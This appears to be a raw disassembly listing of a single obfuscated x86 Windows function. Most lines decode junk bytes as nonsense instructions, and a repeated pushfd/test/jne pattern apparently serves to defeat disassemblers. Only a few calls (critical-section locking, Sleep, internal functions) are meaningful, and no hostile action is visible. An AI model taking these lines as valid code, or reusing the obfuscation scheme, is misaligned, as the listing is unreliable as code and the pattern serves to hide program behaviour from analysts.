inc ebx
mov bh, bl
sbb al, 0x1c
add al, cl
sbb eax, 0x137f71a4
lea edi, [edi]
cmp eax, 0xa9bca81c
fnstcw word [edx - 0x40]
add al, 0xf4
sahf
enter 0xc51, 0x77
jecxz 0x10093879
pop eax
xchg dword [edi + 0x4fbe46c2], eax
pop esp
xor eax, dword [edi + 0x53]
neg eax
imul esp, dword [edi + 0x5b82263a], 0xffffffec
adc eax, dword [ecx]
mov ebx, 0xeb78b5bf
int1
sub eax, 0xe477b99b
cwde
mov esp, 0x8c4641ea
sbb eax, 0xc65d59fb
dec eax
test dword [edi + 0x65], edi
dec edx
inc ecx
inc ecx
das
outsb dx, byte [esi]
mov dword [0xcd371eeb], eax
sub dword [ebp - 0x6101d3fe], esp
pop ebp
popal
mov ecx, 0xdd17a4c2
fstp qword [ebx - 0x54078456]
out dx, eax
jno 0x100938af
cmp eax, 0x157264f8
mov edx, 0xb4776dd8
mov ebp, 0x8fe73a53
pop edi
rol ecx, 1
sub eax, 0xbf90cdd9
or dl, dh
sub al, 0xc5
enter 0xffffffffffffbe48, 0x22
cmp ah, bh
invalid
xor dword [esi], edx
rcr dword [edx - 0x26fb15a0], 1
mov esi, 0xcd10c52e
xor ah, byte [eax + 0x3de42332]
mov ebx, 0x7d8f64f4
push ecx
out dx, eax
xchg byte [ebx + 0x798431b2], bl
call esi
imul esi, dword [esi - 0x3987cca8], 0x94a22fc3
dec ebp
pushfd
pushal
mov byte [0x609c4d94], al
sbb al, byte [eax + esi*4]
scasb al, byte es:[edi]
cmp bl, byte [ebx + 0x76]
mov eax, 0xfc9a7b7
add byte [edx], al
inc ebp
sub byte [ecx - 0x79233973], dh
cmpsd dword [esi], dword es:[edi]
pop edi
sub dword [edx - 0x77], esi
sti
sal ch, 1
insd dword es:[edi], dx
push 0x62f270f9
popfd
push edi
push 3
mov esi, ecx
pushfd
test byte [0x10093965], 0x55
jne 0x10093966
insb byte es:[edi], dx
mov al, 0x36
ficom dword [edx + eax]
add cl, byte [ecx]
adc eax, 0xedf9bffe
jle 0x1009389b
test al, 0xf0
stc
jl 0x10093871
aas
xchg ecx, eax
pop edi
out dx, al
mov edx, 0x33ee933d
pop ss
pop edi
shl ebp, cl
push edi
xchg ecx, eax
jnp 0x100938c3
imul edx, dword [edi + 0x363057ab], 0x75f03203
outsb dx, byte [esi]
stosd dword es:[edi], eax
push edi
xor byte [esi], dh
add esi, dword [edx]
invalid
in eax, 0x79
xor eax, 0x2cd6ddb1
push esp
jle 0x10093909
popfd
jg 0x10093991
sti
int1
sbb dword [esi - 0x6159cdd7], edi
push edx
sbb dword [ecx + esi], 0xffffffde
and bl, byte gs:[eax]
dec edx
mov dl, 0x62
jno 0x10093900
and al, 0xe
fisubr dword [edx + esi*2 - 0x20a78f95]
inc ecx
pop ecx
lodsb al, byte [esi]
jb 0x1009399d
jo 0x1009398c
fild word [ecx + 0x59]
imul ebp, esi, 0x2b26f3c
push cs
lea esp, [edi + 0x55]
cmp ebx, dword [edi + 0x1c09431]
pop es
adc dh, dl
push esi
movsb byte es:[edi], byte [esi]
inc ebp
pop ss
dec ecx
sbb dword [esi], ebp
in al, 0x4a
sub eax, 0x4a276bf3
std
jns 0x10093973
or eax, 0xffffffb2
cmpsd dword [esi], dword es:[edi]
in al, dx
ja 0x1009392f
int 0x76
inc byte [esp]
jbe 0x10093962
add al, 0x24
popfd
call fcn.10049c0c
lea eax, [esi + 0x4bd]
mov dword [ebp - 0x14], edi
jge 0x10093961
mov dword [ebp - 0xc], edi
add esp, 0xc
lea edi, [esi + 0x7e0]
mov dword [ebp - 4], 0x848
mov dword [ebp - 0x10], eax
pushfd
test byte [0x1009399d], 0x25
jne 0x1009399e
adc byte [0x653a0975], ah
invalid
cmp ah, byte [ebp - 2]
test eax, 0xb466a6df
out dx, eax
popfd
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
add eax, 5
push eax
pushfd
test byte [0x10093a57], 0x2b
jne 0x10093a58
push ds
inc esi
bound ebx, qword [edx - 0x62]
adc eax, dword [eax]
pop esp
mov ch, 0xec
mov esi, dword [esi]
lodsd eax, dword [esi]
dec ecx
or dword [ecx + 0x3670a387], ebp
or byte [edi + eax*4], bl
pop esi
sbb eax, 0xd1f83d66
jno 0x1009399d
fsub dword [esp + ecx*2 - 0x64b34c1]
scasd eax, dword es:[edi]
stc
push edx
adc ah, byte [eax + eax*4 + 0x33]
inc cx
test edi, eax
jecxz 0x10093a51
movsb byte es:[edi], byte [esi]
or byte [edx - 0x42], 0xf6
jge 0x10093a72
insb byte es:[edi], dx
and dword [ecx], eax
or ah, byte [esi + 0x69]
shl bl, cl
aam 0xf6
fistp dword [esi + 0x57]
insd dword es:[edi], dx
lahf
pop ecx
out dx, al
or dword [eax], edi
mov eax, 0xe483f0c7
into
rol byte [ecx + 0x928da40], 1
inc eax
sub eax, ebp
pushal
mov bl, 0xc0
push edi
daa
jns 0x10093a17
invalid
lds esp, [eax - 0x4d]
rcl byte [edi + 0x27], 0x79
clc
push ss
push esp
outsd dx, dword [esi]
adc byte [ebx], bl
sub ebp, ecx
sbb ah, byte [edx]
mov word [ebp - 0x19], ss
sub eax, 0x7a307a26
mov al, byte [eax - 0x1dda9c]
mov bl, byte [edx - 0x32cd1384]
sahf
insb byte es:[edi], dx
push es
mov eax, dword [0xf0dfda98]
js 0x10093a70
cmpsb byte [esi], byte es:[edi]
sub byte [edx - 0x16], dh
mov edx, ecx
add al, 0x5a
pop ss
stc
jmp dword [edi]
daa
sal dword [esp + ebp], cl
xchg edi, eax
jle 0x10093a09
popfd
mov ecx, esi
call fcn.100639ed
mov edi, eax
test edi, edi
pushfd
test byte [0x10093ae0], 0x22
jne 0x10093ae1
salc
xchg ebx, eax
sub al, 0xfb
ficomp dword [edi]
mov bl, 0x53
push ebx
dec eax
adc al, 0x6f
test al, 0xc6
mov word [ebp + 0x35c13e28], cs
sub bh, byte [eax - 0x20]
popfd
adc dword [0x8f200eb4], ebp
mov dword [0xc29f5022], eax
scasd eax, dword es:[edi]
inc edx
or dword [0x776efa57], edx
add al, 0xd7
out 0x93, eax
cwde
mov dl, 0xa4
mov al, byte [0x19c525a1]
cmp eax, 0x71747765
test al, 0x6b
sti
and eax, 0x9a217b44
in eax, dx
imul dword [edx - 0x43e0466c]
pop ebp
out 0xa, al
test dword [edx + 0x425cdde9], esp
scasd eax, dword es:[edi]
cld
insb byte es:[edi], dx
push esi
xchg ebx, eax
mov ebp, 0x41fb47b1
and dword [esi + 0x28cc4f9f], 0xffffffea
xor eax, 0x7a18329a
add eax, 0x9d56c17
mov byte [ecx - 0x14], bh
popfd
je 0x10094456
cmp dword [ebp - 0xc], 6
jge 0x10093af6
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 8], ebx
jmp 0x10093afe
lea eax, [esi + 4]
mov dword [ebp - 8], eax
mov ebx, eax
push 0x5d
pushfd
test byte [0x10093ba9], 0x7e
jne 0x10093baa
salc
and cl, byte [esi + 0x14]
lahf
call 0x8bc881db
mov dh, 0x8a
mov ch, 0xb3
push cs
mov esi, 0xf5576751
add dword [ebx], ecx
xor byte [ebx*2 + 0x1ea85137], dl
in al, 0
test byte [ecx - 0x24], ah
mov eax, 0x38c7f41b
inc esp
pushal
push edi
fimul dword [edi - 0x4e]
push ecx
out 0xd2, al
pop ds
inc ebp
and byte [esi + 0x40bc5469], ch
fisttp word [edi - 0x5e]
push dword [edi + 0x7d14d5d9]
stosb byte es:[edi], al
add dword [esp + edx*8], edx
aaa
aaa
xchg ch, al
dec esi
push esp
fdiv st(6)
and dword [eax], ebp
out 0x34, al
adc dword [eax + eax*4], edi
xor al, 0x90
mov esi, 0x5b7e0832
xor cl, byte [eax]
jle 0x10093bc5
cmp dword [esi - 0x3d877422], ebx
pop ecx
adc ch, cl
jno 0x10093b82
push cs
or al, 0x10
push cs
xor al, 0x77
xchg byte [ecx], bh
mov edi, 0xdda883d8
cli
lodsd eax, dword [esi]
and eax, 0xe6203434
cld
test al, dh
or bl, byte [0xf5ed2e89]
scasb al, byte es:[edi]
and ecx, dword [ecx - 0x5f]
jb 0x10093b55
xor bh, ch
lodsd eax, dword [esi]
cmp eax, 0xa8aabcd5
dec edi
jge 0x10093b66
int1
mov ebp, 0xc060515b
cdq
popfd
lea eax, [esi + 0x6eb]
push eax
lea eax, [edi + 0x43a]
push eax
call fcn.1011d7d0
mov eax, dword [ebp + 8]
pushfd
test byte [0x10093c27], 0xcf
inc ebp
or byte [esi + esi*8 + 0x93c2705], bl
cmp al, 9
adc bh, cl
jne 0x10093d28
jnp 0x10093bdf
pop edx
pop ecx
inc esp
setno bl
test dword [esi + ebx*4 - 0x3a], 0x8769a431
adc ebx, dword [ebx]
mov esi, 0xd2cfda4d
out dx, al
or eax, 0x8bfb9701
mov ah, 0xab
xchg ebp, eax
mov word [esi], gs
aaa
and byte [esi + ebp*4], 0xe7
push esi
jge 0x10093bbf
out 0xc5, eax
inc eax
clc
or byte [ebp + 0xe], cl
cmp byte [ecx + 0x65f9bb56], dl
pop ecx
fld dword [eax - 0x392496d8]
fst dword [0x9f6f03d4]
aam 3
outsd dx, dword [esi]
lahf
pop dword [esi - 0x27]
jge 0x10093c2c
sbb al, 0x3c
sbb eax, 0x29cef3ac
fsub qword [edx + edx]
pop edi
mov ch, 0xd5
int3
sbb edi, dword [edi + 0x1d]
fcmovne st(0), st(6)
stc
mov eax, dword [0x3ac3b8d4]
stosd dword es:[edi], eax
mov dword [0xb38ca46c], eax
neg dword [bx + di - 0xd]
sbb byte [esi + 0x1f], bh
inc esi
popfd
fidivr dword [ebx]
bswap esp
pushal
add dword [ebp + 0xb], ecx
push 0x367463b1
int 0xe0
or byte [esp + eax*2], cl
sar ebp, 0x7c
push 0xffffffffffffffce
mov al, byte [0x856b8e10]
add byte [esi - 0x3dfb788a], 0x2d
in eax, 0x2f
push ebx
and dh, byte [esi - 0x1489f5cf]
jne 0x10093c78
sbb byte [ebx], bh
js 0x10093c0f
outsd dx, dword [esi]
in eax, dx
jle 0x10093c9d
pop ebx
and bh, 0x78
rcl dword [ebp - 0x6f]
mov dword ss:[0x1bc407a6], eax
les ebp, [edx + esi - 0x6b]
mov al, 0xa3
push ecx
imul edx, dword [edi + 0x511f77c5], 0xadee87a7
pop ds
pop ds
out 0x13, al
stc
adc edi, ecx
push ebx
out 0x70, eax
push esp
mov ecx, 0x8c6ddad8
pop dword [edi]
mov edx, 0xb9dad49e
mov edi, 0xca62b366
std
inc eax
int1
jl 0x10093c74
pop bp
xor dword [esi - 0x4e], ebp
sub eax, 0xc0a04f97
jle 0x10093c6c
in al, 0xae
lahf
stosd dword es:[edi], eax
cmp al, 0x93
test dword [esi], edi
inc esp
fld dword [ebx + 0x496fa985]
int 0xf2
and bh, cl
mov ebx, 0xe72c43c0
int 0x52
cmp bl, byte [eax + 0x2133a695]
fmul dword [ecx + 0x77476f07]
rcl byte [ecx + 0x39c6a493], 0xd0
jne 0x10093d42
jns 0x10093d0b
sbb esi, ecx
add dword [ecx - 0x7f], esi
xchg ebp, eax
xor edx, dword [ebx]
in al, 0xc8
sub dword [0x798b6c9f], 0xdffdbba5
cmp eax, 0x62a582f7
jg 0x10093d1f
or byte [edi - 0x48], 0x96
and dl, byte [ebx]
push ebx
and byte [ebx - 0x1fa4bf82], bl
jl 0x10093cd4
fld xword [bp + 0x42e6]
pop edx
popfd
add eax, 0x21
pushfd
test byte [0x10093d57], 0xd9
jne 0x10093d58
mov dl, 0x1e
add byte [edx + 0x4327d5b8], bh
inc ebx
push cs
idiv edi
pushfd
adc ecx, dword [esi - 0x22]
stc
push ecx
imul esp, dword [edx - 0x3f44bacf], 0xffffffaa
push 0x4b4f5581
sahf
loopne 0x10093d3d
popal
popfd
push eax
lea eax, [ebx + 4]
pushfd
test byte [0x10093d87], 0x63
jne 0x10093e88
clc
jno 0x10093dab
cmpsb byte [esi], byte es:[edi]
push ebx
mov bl, 0x57
sbb byte [ebp - 0xf], bl
push eax
out 0xca, eax
mov dh, 0xe
enter 0xffffffffffffbf85, 0x50
add ch, byte [eax + 0x5b9faa14]
push 0xb
cmp byte [ecx], ah
insb byte es:[edi], dx
cmp eax, 0xadd14108
test al, 0x63
push ebx
push esp
xor dword [esi + 0x5d], edi
cmp dl, dh
mov ebp, 0x1908abb1
and esp, edx
pop ecx
mov eax, 0xae392800
insb byte es:[edi], dx
popfd
mov ah, 0xd0
push ss
sub eax, 0x5bbbe374
in eax, dx
mov ebp, 0xdd224a4
mov esp, 0x94776212
arpl word [0x58405548], bp
add ebp, dword [edi]
mov bh, 0x81
enter 0xffffffffffff873c, 0x70
push es
jno 0x10093e02
mov al, 0x76
inc esi
jbe 0x10093e17
test al, 0xd9
stosb byte es:[edi], al
mov dh, 0x3e
aaa
daa
pushal
call edi
xchg dword [ebp - 0x2a], edx
mov bl, 0x7a
add al, 0x50
mov ah, 0xd6
salc
in eax, 0x7a
push edi
cmp bh, byte [edi + 0x58c92e59]
and dl, byte [eax + edx*4 - 0x50]
xchg ebx, eax
pop ecx
outsd dx, dword [esi]
pop edx
pop ebp
fidivr word [esi + 0x7c]
jle 0x10093e02
mov ebx, 0xf03b8d7a
mov edx, dword [eax + ebp*4 + 0x6a10273]
lds ebp, [ecx]
dec ecx
test al, 0x73
add ah, byte [ecx + 0x4929c506]
push ebp
mov dh, 0x55
inc esp
inc ebp
push esi
sbb byte [ebp + 0xd14f663], cl
jnp 0x10093dcf
mov bh, 0x89
and al, 0x41
mov dword [ecx + eax*2], esp
mov al, byte [0x9d66f694]
arpl word [edx], si
test dl, ch
or byte [eax + edi*8 - 0x32], bh
mov edi, dword [edx + 0x7b698209]
pop edx
mov dh, 0x3a
out dx, eax
mov gs, word [ebx + 7]
inc edx
inc eax
inc esp
in al, dx
salc
sbb byte [edx + 0x34], bl
mov ebp, 0x93f51dd2
pop edx
xchg edx, eax
bswap ebp
cmp al, cl
mov byte [ecx + 0x5d84e39c], dl
push edx
sbb dword [ecx], esp
sbb byte [edi - 0x37], ah
jg 0x10093de3
xor dword [edx + 0x27], 0x6126b095
mov dword [ebx - 0x28], edx
sbb al, 0xc8
xchg ebp, eax
nop
cld
xlatb
bound esp, qword [eax]
jge 0x10093e00
jge 0x10093e9b
dec ecx
lodsd eax, dword [esi]
bound eax, qword [ebp + 0x69]
xchg edx, eax
sahf
out dx, eax
salc
enter 0xffffffffffffce7e, 0x33
les esp, [edi + 0x77fe8f98]
int1
aad 0xf4
outsd dx, dword [esi]
dec esi
daa
xchg esi, eax
arpl word [ebx], cx
popfd
push eax
call fcn.10041098
add esp, 0x14
test eax, eax
pushfd
test byte [0x10093eb3], 0xa6
cmpsb byte [esi], byte es:[edi]
jne 0x10093fb4
mov ah, 0x13
or al, 0x4d
mov edx, 0xaba27a2b
ja 0x10093f24
pop ebx
dec edi
call 0x349dd3b4
xor eax, 0xe608475c
mov al, byte [0x4c9e0e86]
add eax, 0x4ee67ddb
out 0x13, al
dec edx
adc eax, 0xf330ffae
stosd dword es:[edi], eax
adc ecx, dword [edx + 0x15]
scasb al, byte es:[edi]
push dword [eax]
rep stosd dword es:[edi], eax
nop
aaa
mov bl, 0xc8
mov esi, 0x56535997
mov ch, 0x7c
stc
outsb dx, byte [esi]
and cl, byte [ebp - 0x25]
out 0xa2, al
adc ch, byte [ebx + 0x7d]
scasd eax, dword es:[edi]
test al, 0x91
cmp ch, dl
and dh, byte [esi + 0x5134ca5b]
int1
add ch, byte [edx]
xchg esp, eax
xchg esi, eax
cmp al, 0xd1
push ss
push ss
xchg esi, eax
jno 0x10093ee4
in al, dx
push cs
mov dword [0xcb53f965], eax
salc
test al, 0x2e
inc edi
fist word [0x1f488426]
stc
push ebx
retf
test byte es:[eax + 0x1f], cl
inc edi
and dword [ebp + 0x32], 0xb9859e36
jecxz 0x10093ec6
xor dh, byte [esi]
sahf
test dword [ecx + 0x6f07b0e3], edi
pop es
outsd dx, dword [esi]
fsub qword [ebx*8 - 0x823d97b]
mov dword [ecx - 0x38081e49], edi
mov dh, dl
adc ah, byte [edx]
cmpsb byte [esi], byte es:[edi]
jl 0x10093efe
test edi, 0x12d68867
and ah, byte [esi + 0x8d6d07c]
or byte [ebp + 0x29], al
cmpsb byte [esi], byte es:[edi]
loop 0x10093f08
salc
or byte [eax], cl
inc ebp
sub dword [esi - 0x281c2d1e], esp
jecxz 0x10093f0f
test al, 0xc0
and al, 0x65
push esi
sar byte [edi - 0x11], cl
inc ecx
fbstp tbyte [ebx - 0x1e82b79]
xchg esp, eax
and esp, dword [ebx + 0x1f]
xor cl, bh
lodsd eax, dword fs:[esi]
fcmovnbe st(0), st(0)
cdq
lahf
mov edx, 0x9d1ee4a4
daa
pushfd
sub eax, dword [ebx + 0x54]
adc byte [esi - 0x27], 0xa9
and dl, bl
mov edi, 0x2d3f43a5
sti
mov ecx, 0x8f326c89
and eax, 0x5aa8bd1d
jae 0x10093f9d
fcom dword [eax - 0x2dae123d]
and eax, 0xf2b0f9dd
mov dh, 0x4d
cmp eax, 0x6883aa98
imul ecx, dword [edx + 2], 0x24
push edx
and al, 0x52
and eax, 0x27b62480
inc edx
in eax, dx
cmp eax, 0xa267c5a4
mov esi, 0x6840ffe7
pushal
push ss
dec edi
jnp 0x10093f8b
push 0x7b4f1660
call 0x2c506529
in al, dx
xchg esi, eax
pop esp
and byte [0x96ec1c47], 0x5c
les esp, [eax]
push edx
popfd
xor eax, 0xccf823a7
into
popfd
jne 0x1009435b
cmp dword [ebx], eax
je 0x1009435b
cwde
add eax, dword [eax]
add byte [ebx - 0x20fc03a3], cl
mov ebx, dword [ebp - 4]
add ebx, edi
mov eax, dword [ebx]
cmp eax, 3
pushfd
test byte [0x10094064], 0xd1
jne 0x10094065
add byte [eax], al
add byte [ecx], dh
loop 0x1009402b
xor edx, esp
dec ebp
add byte [eax + 0x53], bh
inc ecx
int1
inc ebp
jbe 0x10093f8b
fcomp qword [ecx - 0x7c7c617a]
test dh, al
fdivr dword [edi + 8]
mov dh, ah
xchg ebx, eax
fimul word [edx]
xchg dword [0x5cd7fd45], edx
sub eax, 0x297256bd
xchg dword [ebp + 0x47c86e5e], ecx
into
jge 0x10094077
js 0x10093fd8
imul esi, dword [0xea13a4dc], 0x23fb6a6f
test byte [ebx], bh
pop es
in al, dx
sub ah, byte [edi]
push 0xfffffffffffffffb
and eax, dword [ebx + edi + 0x272aec07]
or eax, 0x302c1a4f
loop 0x10094051
mov ebp, 0xa696d528
mov ebp, 0x7a5e51b8
in eax, 0x26
enter 0xffffffffffffffe5, 0x64
push ecx
pop esi
jp 0x10094014
enter 0xffffffffffffffe5, 0x64
cmpsd dword [esi], dword es:[edi]
jnp 0x10093fbf
aad 0x9d
outsd dx, dword [esi]
xchg ebp, eax
ja 0x100940a1
or edx, edi
in eax, 0x68
movsd dword es:[edi], dword [esi]
xor ebp, esp
sub al, 0x79
xchg esi, eax
in al, 0x8c
test esp, eax
in eax, 0x20
add al, 0x47
fimul dword [ebx + 0x4951d688]
mov dh, dl
push ecx
dec ecx
sub eax, 0x1aba4a9a
cmp byte [eax + 0x4ddb0e38], 0xc1
dec ecx
in eax, 0x1d
push edi
popfd
jg 0x10094353
test eax, eax
jle 0x10094353
pushfd
test byte [0x10094090], 0x26
jne 0x10094191
nop
inc eax
or dword [eax], edx
jne 0x10094191
sub byte [ecx - 0x71], dl
cmp edi, edi
int3
out dx, eax
push ebp
clc
stosb byte es:[edi], al
and ah, byte [ebx + 0x4c23031d]
shl ebx, 1
cli
outsb dx, byte [esi]
mov ds, word [edx - 0x40]
pop edx
push ebp
inc ebp
cmc
and al, 0xc4
inc ebx
punpckldq mm2, dword [eax - 0x1026e37f]
xchg edx, eax
inc esp
push esi
inc ebp
fidiv word [edi - 0x3a]
cmp eax, 0xa68911ca
scasb al, byte es:[edi]
cmp dword [eax + 0x153972ac], edi
and eax, 0xa920c45
call 0x9cf7782a
fild dword [esp + edx*4 - 0x33be2149]
add al, 0x82
arpl word [ebx], bx
jecxz 0x10094103
mov edx, 0x11a057b0
jbe 0x10094167
pop ebx
cmpsd dword [esi], dword es:[edi]
mov es, word [ebx + 0x78]
call 0x658b8030
fmul dword [ebx + 0x47]
in eax, dx
fnstcw word [edx - 0x5b]
movsd dword es:[edi], dword [esi]
sbb al, 0x99
pop ebp
aam 0x9e
add edx, dword [esi + 0x37]
test al, 0x6f
arpl bx, dx
push ebp
inc ebx
stc
in al, 0x14
cld
loopne 0x100940b5
test al, 0x7f
fistp word [ebx + 0x4b5ae5d]
push eax
sbb eax, dword [ecx]
idiv byte [edx + edx]
in eax, dx
jl 0x1009416d
imul esp, dword [edi], 0xffffffaa
arpl word [0x41bac415], dx
dec ebx
lodsd eax, dword [esi]
imul esi, dword [edi - 0x6df6e140], 0x6222a6f2
push 0xe
sahf
rcr byte [esi + ebx*2], cl
aam 0x31
cld
push 0x4a699908
xchg esp, eax
fdivr qword [0xdce8c5ca]
and al, 0xbb
pop edi
cmp dword [ecx + 0x7c], edi
fdivr st(4), st(0)
sti
lahf
jae 0x100941a1
les esi, [ebx - 0x3adf7d5]
cmpsd dword [esi], dword es:[edi]
and byte [esp + ecx - 0x48], 0x78
popal
mov dl, 0xf7
cmp dword [edx + 0x13d3242c], edi
dec esp
rcr bl, 0xbe
cmp al, 0xd1
in al, dx
das
or ebp, dword [eax + 0x7d2da2e4]
fld qword [ebx]
lodsb al, byte [esi]
fst dword [0x774f1edf]
lea ebx, [edx]
mov word [ebx - 0x3c], gs
popfd
cmp dword [edi + 0x844], 1
jne 0x100942b2
pushfd
test byte [0x100942aa], 0x34
jne 0x100942ab
add eax, 0x100942aa
xor al, 0xf
test esi, edi
add byte [eax], al
add byte [0xe4d46c73], ah
and eax, 0xe4d46c73
inc edx
cld
cmp eax, 0xfb8f3c22
mov ebx, 0x8d84218a
js 0x100941c9
dec esi
out dx, al
mov dh, 0xe
push 0x816906e4
shl dword [edi - 0x27], cl
push ds
aas
pop ebp
ja 0x100941e9
test dword [ecx - 0x80], ebx
inc ecx
xor eax, 0x9ffec03d
lahf
mov al, byte [0x292a32ea]
xor bl, dl
test al, 0x42
lds edi, [edx - 0x5f555304]
sub edx, dword [esi + 0x3f47abd9]
jae 0x100941d9
sal al, 0xc1
mov eax, 0x978a4173
lds esi, [ebp + 0x29]
sub edi, dword [ebp + 0x5ae7ef14]
xor al, 0x28
sub ebx, dword [ebx + 0xf2b5b3d]
dec edx
int3
popfd
add edi, 0x41d
push dword [ebp + 0xc]
mov ecx, esi
push edi
push dword [ebp - 8]
call fcn.1008fc59
test eax, eax
pushfd
test byte [0x10094344], 0x14
jne 0x10094345
jno 0x1009433d
scasd eax, dword es:[edi]
cmpsd dword [esi], dword es:[edi]
and esp, esi
int1
pop edx
xor dword [esi + esi*2 + 0x4f0a7c8b], edi
test dword [edi - 0x6e13de6b], 0xeeed6e59
sbb dword [0x590c1809], ebx
loop 0x1009435e
jbe 0x10094361
add dh, al
cmp edi, 0x8ad0038f
jmp edi
cmpsd dword [esi], dword es:[edi]
or ebx, dword [eax + eax*8]
outsb dx, byte fs:[esi]
adc bh, byte [edi]
xlatb
jmp [ebx + 0x57e9b907]
aas
mov cl, 0x8d
loop 0x10094316
cmp dword [edi + 0x78], ecx
popfd
je 0x10094353
inc dword [ebx]
or dword [ebp - 0x14], 0xffffffff
jmp 0x10094456
and dword [ebx], 0
jmp 0x10094456
mov eax, dword [ebp - 4]
pushfd
test byte [0x10094450], 0xfc
push eax
inc esp
or dword [eax], edx
cld
jne 0x10094451
jmp dword [edi]
popfd
and dword [edi + eax], 0
lea edi, [esi + 0x7e0]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
add dword [ebp - 4], 4
pushfd
test byte [0x1009455d], 0x1c
jne 0x1009455e
mov ecx, 0xdb37d875
dec ebp
push esp
push esp
dec esi
pushfd
and al, 0xc
pop es
stosd dword es:[edi], eax
int1
pop ebp
xchg dword [ecx + 0x5c29b451], ebx
div dword [edi]
xchg ecx, eax
pushfd
dec edx
or dword [ebp + 0x73815806], ecx
inc ebp
pushal
or dl, ch
and dword [eax - 0x31c5bdb3], 0x754ce91d
dec eax
push ss
stc
pop esi
rol esi, 1
dec edi
int1
mov cl, 0x9f
pop esi
mov ebp, 0x8a7c2784
add eax, 0x2016044f
aam 0x75
sub eax, 0x1b24149e
js 0x1009448d
cwde
stc
sal dword [ebp - 0x43], 0xd2
and bh, byte [ebx - 0x47950be6]
xchg esp, eax
add esp, dword [edi + 0x4a]
mov eax, 0xda23f312
push ecx
pop esp
movsd dword es:[edi], dword [esi]
jle 0x10094484
mov ebp, 0x1abb22d2
hlt
or dword [esp + edi*4 - 0x354b2359], esi
stosd dword es:[edi], eax
push edi
pop esi
std
mov edx, 0x2bf4e0db
mov edx, 0x2bac5ddd
cmpsb byte [esi], byte es:[edi]
cmp eax, 0x7c2adae6
fmul st(1)
inc esi
cdq
mov esp, 0xc22d8ed7
inc esi
push ebp
fidiv word [ebx - 0x61597539]
add eax, 0x89c37e18
add al, 0xd9
xchg edx, eax
cmp dword [ebx + 0x15], esi
loop 0x1009452c
invalid
jbe 0x100944d0
out 7, eax
imul ecx, dword [edi - 0x16], 0xfffffff3
push cs
lodsd eax, dword [esi]
add ah, byte [esp + eax]
and al, 4
jecxz 0x1009450f
cmp al, 0x4c
stosd dword es:[edi], eax
jecxz 0x10094534
push edi
movsd dword es:[edi], dword [esi]
mov dl, 0xd0
imul esp, dword [ecx + 0xec0ef09], 0xc43bfa58
mul dword [ebp - 0x5e962f4e]
or edi, ebp
ror byte [esi], 0x58
cli
cmp eax, esp
lea esp, [ebx - 0x54]
sbb dh, al
in al, dx
lodsb al, byte cs:[esi]
mov edi, 0x795d24e6
outsb dx, byte fs:[esi]
loopne 0x100945c9
xchg esp, eax
mov al, 0xe7
mov esp, 0x44ba12a9
test al, 0x1f
popfd
inc dword [ebp - 0xc]
add dword [ebp - 0x10], 0x5d
cmp dword [ebp - 4], 0x864
jl 0x1009399f
inc ebp
invalid
pushfd
test byte [0x10094602], 0xb1
jne 0x10094603
mov edx, 0xf0e80adb
pop ecx
push ebx
push ds
add bh, byte [eax + 0x7eabbe69]
mov ebp, 0x49b94756
xchg esi, eax
ror byte [esi + 0x5313f76a], 1
in al, 0x6c
jb 0x100945f9
pop edx
jne 0x10094563
push edx
scasb al, byte es:[edi]
test eax, 0x6b12ab8d
or dl, byte [esi]
in al, dx
add al, 0xfc
mov dword [0xbbdd9941], eax
fdivr dword [ecx + 0x6f]
add al, cl
nop
pop ss
imul ebx, dword [edi + 0x4e], 0xffffffb7
scasb al, byte es:[edi]
lahf
and al, 0xd7
inc esi
xor al, byte [ebx + eax*2 - 0x3a007d31]
mov ecx, 0xcc6e65ed
scasd eax, dword es:[edi]
sbb dword [eax], eax
test byte [edi], ch
cmpsd dword [esi], dword es:[edi]
mov ebp, 0x564127ec
dec ecx
cmp ebx, ebx
push edi
mov al, 0xba
imul ebp, dword [edi - 0x65], 0xffffffeb
add al, dl
mov bh, 0xb9
xchg edx, eax
cmc
out 0x1c, eax
pushal
dec esp
xchg ecx, eax
dec eax
popal
and ebp, dword [ebp - 0x68]
das
jns 0x100945e9
scasb al, byte es:[edi]
outsb dx, byte [esi]
sbb eax, 0x4996d2ce
jbe 0x10094673
into
rcl byte [esi - 0x48b89b7], cl
sti
xchg byte [ecx + edx*2], dh
popfd
mov eax, dword [ebp - 0x14]
pop edi
pushfd
test byte [0x10094631], 0x5b
jne 0x10094632
fstp dword [edx - 0x3424c6a0]
jno 0x1009459e
or dword [edx + eax*4], 0x35
insb byte es:[edi], dx
in al, 0x19
push esp
or al, 0x82
xor eax, 0x5419e46c
in al, 0xaf
sub byte [edx], dl
pop ebp
jae 0x100945c1
push esp
mov al, byte [0x613f53b0]
and al, 0x2e
popfd
pop esi
pop ebx
leave
ret 8
fcom dword [ebx - 0x12]
fimul dword [ecx + 0x4dbb0421]
and dword [ebx + edi*4], eax
dec ebp
push ebp
pop edi
aas
push esp
shl dl, cl
jo 0x1009461a
jnp 0x100946c4
cli
je 0x100946fb
mov dword [0x62734e2d], eax
jg 0x100946a6
pop ss
mov al, byte [0x2838f14a]
and al, 0x82
mov dh, 0x7a
push edx
sub byte [edi], 0x52
mov ah, 0x51
arpl word [esi + 0x2f47d943], di
push esi
popal
pop es
jno 0x100946f0
mov ah, 0x8c
movsb byte es:[edi], byte [esi]
fimul word [esi + 0x71]
xor byte [ecx], dh
and bl, byte [ebx + 0xae7ffc6]
popfd
mov dword [ebp - 8], edi
pushfd
test byte [0x10094782], 0x92
jne 0x10094783
mov ebx, 0x87000000
loope 0x1009466e
xchg ecx, esp
mov dword [0x78c8c4f0], eax
xchg esp, eax
test eax, 0x2640e1fb
test ebx, 0x10ff5105
mov dword [0x5a686cf4], eax
in eax, dx
cli
ror byte cs:[ecx + 0x52b7a4ee], cl
out 6, eax
xchg ebp, eax
cmp al, 0x28
fadd st(5), st(0)
popal
cdq
invalid
lds esp, [ecx - 0x67]
xor ch, byte [edx]
cmc
and eax, 0x9d8cc7e7
mov byte [esi - 0x33], 0x8a
rcl bh, 9
add al, 0x2b
push esi
insb byte es:[edi], dx
mov dh, 0x36
add byte [ebp - 0x3e0e06ae], 0xf1
or esi, esi
dec esi
lds ebp, [esi]
stc
cli
mov bl, 0x96
lodsd eax, dword [esi]
inc edx
rcr dword [edi + 0x68], 1
xor dl, cl
pop es
in al, dx
fsubr qword [ecx - 0x24]
xchg ecx, eax
mov ebp, 0xbe5f6074
sub byte [ecx - 0x6787aafe], dh
pop edi
mov esi, 0x5502b128
